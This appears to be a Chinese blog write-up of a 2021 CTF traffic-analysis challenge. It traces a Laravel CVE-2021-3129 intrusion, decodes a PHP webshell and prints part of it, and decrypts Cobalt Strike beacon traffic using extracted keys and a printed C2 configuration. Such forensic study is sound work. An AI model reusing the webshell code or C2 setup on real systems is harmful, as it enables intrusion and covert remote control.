

2021年“绿城杯”网络安全大赛-Misc-流量分析

原创

夜白君 于 2021-09-30 09:20:58 发布 4499 收藏 18

分类专栏: [2021年“绿城杯”网络安全大赛](#) 文章标签: [网络安全](#) [2021年“绿城杯” Misc](#) [流量分析](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_43264813/article/details/120560209

版权



[2021年“绿城杯”网络安全大赛 专栏收录该内容](#)

12 篇文章 3 订阅

订阅专栏

2021年“绿城杯”网络安全大赛-Misc-流量分析

题目名称: 流量分析

题目内容: 一道复杂的流量分析

题目分值: 200.0

题目难度: 中等

相关附件: 流量分析的附件.zip

解题思路:

1.流量过一遍。发现.config.php 是 webshell。找攻击者如何写入 webshell。发现存在一些可疑的 POST 流量, UA 头是 python requests。通过返回包发现程序报错。使用 Laravel。

```
6121 56.616154 192.168.132.130 192.168.132.138 HTTP/1.1 207 POST /index.php/_ignition/execute-solution/ HTTP/1.1, JavaScript Object Notation (application/json)
6625 56.766804 192.168.132.138 192.168.132.138 HTTP 59 HTTP/1.1 500 Internal Server Error (text/html)
6634 56.769879 192.168.132.138 192.168.132.138 HTTP/1.1 222 POST /index.php/_ignition/execute-solution/ HTTP/1.1, JavaScript Object Notation (application/json)
6636 56.880127 192.168.132.138 192.168.132.138 HTTP 367 HTTP/1.1 200 OK
6638 56.883112 192.168.132.138 192.168.132.138 HTTP/1.1 258 POST /index.php/_ignition/execute-solution/ HTTP/1.1, JavaScript Object Notation (application/json)
6640 56.883361 192.168.132.138 192.168.132.138 HTTP 366 HTTP/1.1 200 OK

> Frame 6121: 207 bytes on wire (1656 bits), 207 bytes captured (1656 bits) on interface \Device\NPF_{B17A473E-B13E-42E0-8DBC-77A64D6B8CE6}, id 0
> Ethernet II, Src: VMware_15:fa:fb (00:0c:29:15:fa:fb), Dst: VMware_1e:ac:bd (00:0c:29:1e:ac:bd)
> Internet Protocol Version 4, Src: 192.168.132.130, Dst: 192.168.132.138
> Transmission Control Protocol, Src Port: 21649, Dst Port: 80, Seq: 238, Ack: 1, Len: 153
> [2 Reassembled TCP Segments (390 bytes): #6120(237), #6121(153)]
> Hypertext Transfer Protocol
  > POST /index.php/_ignition/execute-solution/ HTTP/1.1\r\n
  Host: 192.168.132.138\r\n
  User-Agent: python-requests/2.24.0\r\n
  Accept-Encoding: gzip, deflate\r\n
  Accept: */*\r\n
  Connection: keep-alive\r\n
  > Content-Length: 153\r\n
  Content-Type: application/json\r\n
  \r\n
  [Full request URI: http://192.168.132.138/index.php/_ignition/execute-solution/]
  [HTTP request 1/1]
  [Response in frame: 6625]
  File Data: 153 bytes
> JavaScript Object Notation: application/json
```

CSDN @夜白君

发现流量中可疑的字符串。



2.网上查找资料发现是 CVE-2021-3129 漏洞攻击特征。对字符串进行解密。解密方法如

下:

- 1. 去掉 AAA*
- 2. 替换=00 为空
- 3. 进行 base64 解码

多解密几个就发现写入 webshell。



3.Webshell 密码为 14433。查找一句话木马特征。找到解密方法。

php使用N层加密eval gzinflate str_rot13 base64 破解方法汇总

来源: 本站转载 作者: 佚名 时间: 2011-02-14 TAG: [我要投稿](#)



PHP使用eval(gzinflate(str_rot13(base64_decode('BASE64加密后内容'))))核心代码的解密
下非扩展方式的php加密方法:
这里有个在线的, 还不错。木马防杀还行, 要保护代码可就不行了。
对应的写了一个简单的解密的,
专门针对eval。这个原理很有用途。
特别说明:此解密程序好像一定得在PHP5上面使用,
我在PHP4上面测试eval(gzinflate(str_rot13(base64_decode('BASE64加密后内容'))))内加密的代码始终无法正常解密。

```
<?php
//已经加密的文件内容
$a="eval(gzinflate(str_rot13(base64_decode('这里面放BASE64代码'))));";
function decodephp($a) {
    $max_level=300; //最大层数
    for($i=0;$i<$max_level;$i++) {
        ob_start();
        eval(str_replace('eval','echo',$a));
        $a = ob_get_clean();
        if(strpos($a,'eval(gzinflate(str_rot13(base64_decode)===false) {
            return $a;
        }
    }
}
echo decodephp($a);
?>
```

CSDN @夜白君

4.得到大马内容, 直接看关键点吧。原来是 POST 参数值去掉前 2 位就可以 base64 直接解密的。

```
ob_start();
try {
    $p=base64_decode(substr($_POST["f861d394170244"],2));
    $s=base64_decode(substr($_POST["ufbd335828f30f"],2));
    $envstr=@base64_decode(substr($_POST["b430b310838a93"],2));
    $d=dirname($_SERVER["SCRIPT_FILENAME"]);
    $c=substr($d,0,1)=="/*"-c "{s}\":"/c "{s}\";
```

5.层层解密, 找到压缩包加密密码。

```
" cd /d "D:\phpstudy_pro\WWW\secret"&"C:\Program Files\7-Zip\7z.exe" x secret.zip -pP4Uk6qkh6Gvqwg3y&echo 378df2c234&cd&echo fb7f8f"
```

下面我们去找 secret.zip，其实之前就看到过。里面内容就是cobaltstrike.beacon_keys。

6.根据 PK 头发现是压缩文件。就是前后有 webshell 带上去字符串。导出通过 winhex

修改得到 zip 文件。使用上面的密码就可以解压。

解密 cobaltstrike 流量

参考 wbglll 大佬文章和工具。解密 cobaltstrike 公钥和私钥。解除私钥后解密元数据和 key。通过 key 解密回传数据。流程是：

1. 解密私钥。
2. 通过私钥解密元数据、获取 AES KEY。
3. 通过 AES KEY 解密通讯流量

```
PS C:\Users\cheng\Downloads\CS_Decrypt-main> java -cp .\cobaltstrike.jar .\get_RSA.java
Private Key: MIICdwwIBADANBgkqhkiG9w0BAQEFAASCAmEggJdAgEAAoGBAIqpew0+lqNYuxQhQwq7pMdM7CP92uer5FkUA41vPaelrbpqr1ujH95Q7R-
qt7E7Vc+Xx5dYQCoRaysjNm+UfuRcFocLHG2ugf4+/NEX/NFE+gI279wXfC+zZ0MGFMQIAC1TClaiMvALwMB9nBuXK/CErC754co9cIbaIkCL/sRXAgMBAAE
CgYBqLSFYXHwfrMmIDJuiV99FzovIko1b/FV2Xxr8TS8E265Vt3Zm0aYtS25b5K06YnpGqgxW4VekKsGqndiRwtNSbIilU1EqWqfdBmucptnISgDdx+o-fW
InTRL+leBzDW4ZsL2sMvMmyhsc/X35pGbH2LRXXEegPzradtyBwhUQJBANT2IC4p5CQW2UxXVjmrTbA+CuJLfnZE+97HCjzZPi/gUiF4akFQx46x0vT1Rm-
alqUg1PrL70oKb05Lmwm0XukCQqChv4blpfqVcdz9X6MGJqeaic22EPZn+2dhm4PbZIHurs57M7+dqLYxoG6LneU0H1N8ieeH9fb9ixG/8+F7iIE/AkEAzy-
YfDv3r0oSoMriD1bz5CjtxWtXWvcMfuaPd5nt5uxxHD+8ryQ+/ypH6A+UAsLk5V/1L1XXLankIZmmJqcr4QJAGUakF//EUcy3wJpIgfJQ4e/2auDVBsCZkA-
OHlbgcZ76fwNCG6P21sJ733Hj0TI+v0dsDK6aQ1SNjdnD15Ik0wJBAK7C5L0QF8NRlIw2+tpUSDVY/PRUVmpRRd4cD4HXntVMg0Dr3L7vx9PeyJH0EFuaVW-
tdBDILP0HzUR1/wk5ZFZY=

Public Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCKqXsDvpaJwLSUIUMKu6THT0wj/drnq+RZFA0Nbz2npa26aq9box/eU00X6rex01XP18e-
WEAQEwsrIzVlH7kXBaHCxxtroH+PvzRF/zRRPoCNU/cF3wvs2dDBHTECAAtUwpWojLwC8DAfZwblYvvhkww+eHKPXCg2iJApf7EVwIDAQAB

PS C:\Users\cheng\Downloads\CS_Decrypt-main> |
```

解密元数据获得 AES KEY

```
(cx @CX) - [ /mnt/c/Users/cheng/Downloads/CS_Decrypt-main ]
$ python3 Beacon_metadata_RSA_Decrypt.py
Beacon id:1515569398
pid:7956
port:0
barch:x86
is64:1
bypass:True
windows var:6.2
windows build:9200
host:192.168.132.138
PC name:DESKTOP-QQF0MLN
username:Administrator
```

```

process name: beacon.exe
AES key: 7c83bf30a6ad2dc410040d33e1399cf6
HMAC key: a77945b3a56687a39f90683cb24d00c2
00000000: 00 00 BE EF 00 00 00 5B B5 55 DE 5D CE 3B 9E 3E .....[.U.]>
00000010: B4 B5 72 2F 6A A6 BC 85 A8 03 A8 03 5A 55 C0 F6 ..r/j.....ZU..
00000020: 00 00 1F 14 00 00 0C 06 02 23 F0 00 00 00 00 75 .....#.....u
00000030: 9A 16 D0 75 9A 05 A0 8A 84 A8 C0 44 45 53 4B 54 ...u.....DESKT
00000040: 4F 50 2D 51 51 46 30 4D 4C 4E 09 41 64 6D 69 6E OP-QQF0MLN.Admin
00000050: 69 73 74 72 61 74 6F 72 09 62 65 61 63 6F 6E 2E istrator.beacon.
00000060: 65 78 65 exe
None

```

CSDN @夜白君

提示：元数据就是心跳包，请求/en_US/all.js 路径，通过 cookie 传输。通讯数据是 POST 请求/submit.php?id=xxxxx，这个可以通过解密流量中的 beacon.exe 特征

```

"BeaconType": [
  "HTTP"
],
"Port": 80,
"SleepTime": 60000,
"MaxGetSize": 1048576,
"Jitter": 0,
"MaxDNS": 255,
"PublicKey": "MIGfMA0GCQgSIb3DQEBAQUAA4GNADCBiQKBgQCkQsDvypajWLSUIUMKu6THT0wj/drnq+RZFA0Nbz2npa26aq9box/eU00X6rex01X",
"PublicKey_MD5": "6f7c19930d0db3c13dc6c504d890d995",
"C2Server": "192.168.132.128,/en_US/all.js",
"UserAgent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"HttpPostUri": "/submit.php",
"Malleable_C2_Instructions": [
],
"HttpGet_Metadata": {
  "ConstHeaders": [
  ],
  "ConstParams": [
  ],
  "Metadata": [
    "base64",
    "header \"Cookie\""
  ],
  "SessionId": [
  ],
  "Output": [

```

CSDN @夜白君

直接解密主机回传数据。导出 data 数据通过 base64 编码，进行解密。

```

$ python3 Beacon_Task_return_AES_Decrypt.py
counter: 5
任务返回长度: 46
任务输出类型: 30
b'flag{787fc697-8773-4669-84ad-94f714e7df09}'
00000000: 00 00 00 05 00 00 00 2E 00 00 00 1E 66 6C 61 67 .....flag
00000010: 7B 37 38 37 66 63 36 39 37 2D 38 37 37 33 2D 34 {787fc697-8773-4
00000020: 36 36 39 2D 38 34 61 64 2D 39 34 66 37 31 34 65 669-84ad-94f714e
00000030: 37 64 66 30 39 7D 00 00 00 00 00 00 00 00 00 7df09}.....
None

```

CSDN @夜白君

注*本题由风御安全团队洱海师傅所解